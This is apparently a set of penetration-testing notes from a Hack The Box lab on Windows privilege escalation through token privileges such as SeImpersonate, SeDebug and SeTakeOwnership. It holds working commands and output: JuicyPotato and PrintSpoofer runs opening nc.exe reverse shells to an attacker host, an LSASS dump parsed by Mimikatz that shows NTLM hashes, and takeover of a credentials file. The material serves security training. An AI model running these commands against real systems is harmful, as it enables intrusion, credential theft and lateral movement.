User Privileges

whoami /priv

Enumeration

Enable privileges

When a privilege is listed for our account in the Disabled state, it means that our account has the specific privilege assigned. Still, it cannot be used in an access token to perform the associated actions until it is enabled. Windows does not provide a built-in command or PowerShell cmdlet to enable privileges, so we need some scripting to help us out.

PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                              State
============================= ======================================================= ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                                Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                          Disabled

PS C:\htb> Import-Module .\Enable-Privilege.ps1
PS C:\htb> .\EnableAllTokenPrivs.ps1
PS C:\htb> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                              State
============================= ======================================== =======
SeTakeOwnershipPrivilege      Take ownership of files or other objects Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set           Enable

SeImpersonate

MSSQL (1433)

mssqlclient.py sql_dev@10.129.43.30 -windows-auth

SQL> enable_xp_cmdshell

SQL> xp_cmdshell whoami /priv

output                                                                             

--------------------------------------------------------------------------------   
                                                                    
PRIVILEGES INFORMATION                                                             

----------------------                                                             
Privilege Name                Description                               State      

============================= ========================================= ========   

SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled   
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled   
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled    
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled    
SeImpersonatePrivilege        Impersonate a client after authentication Enabled    
SeCreateGlobalPrivilege       Create global objects                     Enabled    
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Juicy Potato

JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards

SQL> xp_cmdshell c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *

output                                                                             

--------------------------------------------------------------------------------   

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 53375                               
                                                                            
[+] authresult 0                                                                   
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM                                                                                                    
[+] CreateProcessWithTokenW OK                                                     
[+] calling 0x000000000088ce08

$ sudo nc -lnvp 8443

listening on [any] 8443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.30] 50332
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.


C:\Windows\system32>whoami

whoami
nt authority\system

CLSID Problems

.\juicypotato.exe -l 13337 -p c:\windows\system32\cmd.exe -a "/c C:\Users\Public\nc.exe 10.10.14.35 8443 -e cmd.exe" -t * -c "{5B3E6773-3A99-4A3D-8096-7765DD11785C}"

PrintSpoofer

SQL> xp_cmdshell c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"

output                                                                             

--------------------------------------------------------------------------------   

[+] Found privilege: SeImpersonatePrivilege                                        

[+] Named pipe listening...                                                        

[+] CreateProcessAsUser() OK                                                       

NULL

$ nc -lnvp 8443

listening on [any] 8443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.43.30] 49847
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.


C:\Windows\system32>whoami

whoami
nt authority\system

RoguePotato

SigmaPotato (GREAT POTATO 🎉)

CoercedPotato

DeadPotato

Obtain SYSTEM privilege

Other Potatoes

RemotePotato (User to DA) and LocalPotato (User to NT AUTHORITY\SYSTEM)

NTLM elevation of privilege

SeAssignPrimaryToken

This can be abused with JuicyPotato or JuicyPotatoNG

SeDebugPrivilege

LSASS Dump

Use ProcDump from the SysInternals suite to leverage this privilege and dump process memory.

C:\htb> procdump.exe -accepteula -ma lsass.exe lsass.dmp

Load this in Mimikatz using the sekurlsa::minidump command. After issuing the sekurlsa::logonPasswords commands, we gain the NTLM hash of the local administrator account logged on locally. We can use this to perform a pass-the-hash attack to move laterally if the same local administrator password is used on one or multiple additional systems (common in large organizations).

Mimikatz Pass the Hash (PtH)

C:\htb> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # log
Using 'mimikatz.log' for logfile : OK

mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 23196355 (00000000:0161f2c3)
Session           : Interactive from 4
User Name         : DWM-4
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 3/31/2021 3:00:57 PM
SID               : S-1-5-90-0-4
        msv :
        tspkg :
        wdigest :
         * Username : WINLPE-SRV01$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

<SNIP> 

Authentication Id : 0 ; 23026942 (00000000:015f5cfe)
Session           : RemoteInteractive from 2
User Name         : jordan
Domain            : WINLPE-SRV01
Logon Server      : WINLPE-SRV01
Logon Time        : 3/31/2021 2:59:52 PM
SID               : S-1-5-21-3769161915-3336846931-3985975925-1000
        msv :
         [00000003] Primary
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * NTLM     : cf3a5525ee9414229e66279623ed5c58
         * SHA1     : 3c7374127c9a60f9e5b28d3a343eb7ac972367b2
        tspkg :
        wdigest :
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * Password : (null)
        kerberos :
         * Username : jordan
         * Domain   : WINLPE-SRV01
         * Password : (null)
        ssp :
        credman :

<SNIP>

Remote Code Execution

Load the script and run it with the following syntax [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>,"")

PS C:\htb> tasklist 

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          4 K
System                           4 Services                   0        116 K
smss.exe                       340 Services                   0      1,212 K
csrss.exe                      444 Services                   0      4,696 K
wininit.exe                    548 Services                   0      5,240 K
csrss.exe                      556 Console                    1      5,972 K
winlogon.exe                   612 Console                    1     10,408 K

Serch winlogon.exe PID, because we know this process runs as SYSTEM on Windows hosts.

Or with Get-Process to grab the PID of a well-known process that runs as SYSTEM (such as LSASS) and pass the PID directly to the script:

Often we will not have RDP access to a host, so we'll have to modify our PoCs to either return a reverse shell to our attack host as SYSTEM or another command, such as adding an admin user.

Other Tool

SeTakeOwnershipPrivilege

Note: Take great care when performing a potentially destructive action like changing file ownership, as it could cause an application to stop working or disrupt user(s) of the target object. Changing the ownership of an important file, such as a live web.config file, is not something we would do without consent from our client first. Furthermore, changing ownership of a file buried down several subdirectories (while changing each subdirectory permission on the way down) may be difficult to revert and should be avoided.

PS C:\htb> Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
 
FullName                                 LastWriteTime         Attributes Owner
--------                                 -------------         ---------- -----
C:\Department Shares\Private\IT\cred.txt 6/18/2021 12:23:28 PM    Archive

Owner ?

PS C:\htb> cmd /c dir /q 'C:\Department Shares\Private\IT'

 Volume in drive C has no label.
 Volume Serial Number is 0C92-675B
 
 Directory of C:\Department Shares\Private\IT
 
06/18/2021  12:22 PM    <DIR>          WINLPE-SRV01\sccm_svc  .
06/18/2021  12:22 PM    <DIR>          WINLPE-SRV01\sccm_svc  ..
06/18/2021  12:23 PM                36 ...                    cred.txt
               1 File(s)             36 bytes
               2 Dir(s)  17,079,754,752 bytes free

Change ownership of the file

PS C:\htb> takeown /f 'C:\Department Shares\Private\IT\cred.txt'
 
SUCCESS: The file (or folder): "C:\Department Shares\Private\IT\cred.txt" now owned by user "WINLPE-SRV01\htb-student".

if ERROR: File or Directory not found. remove the quote takeown /f C:\TakeOwn\flag.txt

Grant our user full privileges over the target file

PS C:\htb> icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F

processed file: C:\Department Shares\Private\IT\cred.txt
Successfully processed 1 files; Failed processing 0 files

PS C:\htb> cat 'C:\Department Shares\Private\IT\cred.txt'

When to use it ?

Files of Interest

c:\inetpub\wwwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav

.kdbx KeePass database files, OneNote notebooks, files such as passwords.*, pass.*, creds.*, scripts, other configuration files, virtual hard drive files, and more that we can target to extract sensitive information from to elevate our privileges

Credentials Hunting

Resources

PreviousCredentials Hunting NextGroup Privileges

Last updated 2 days ago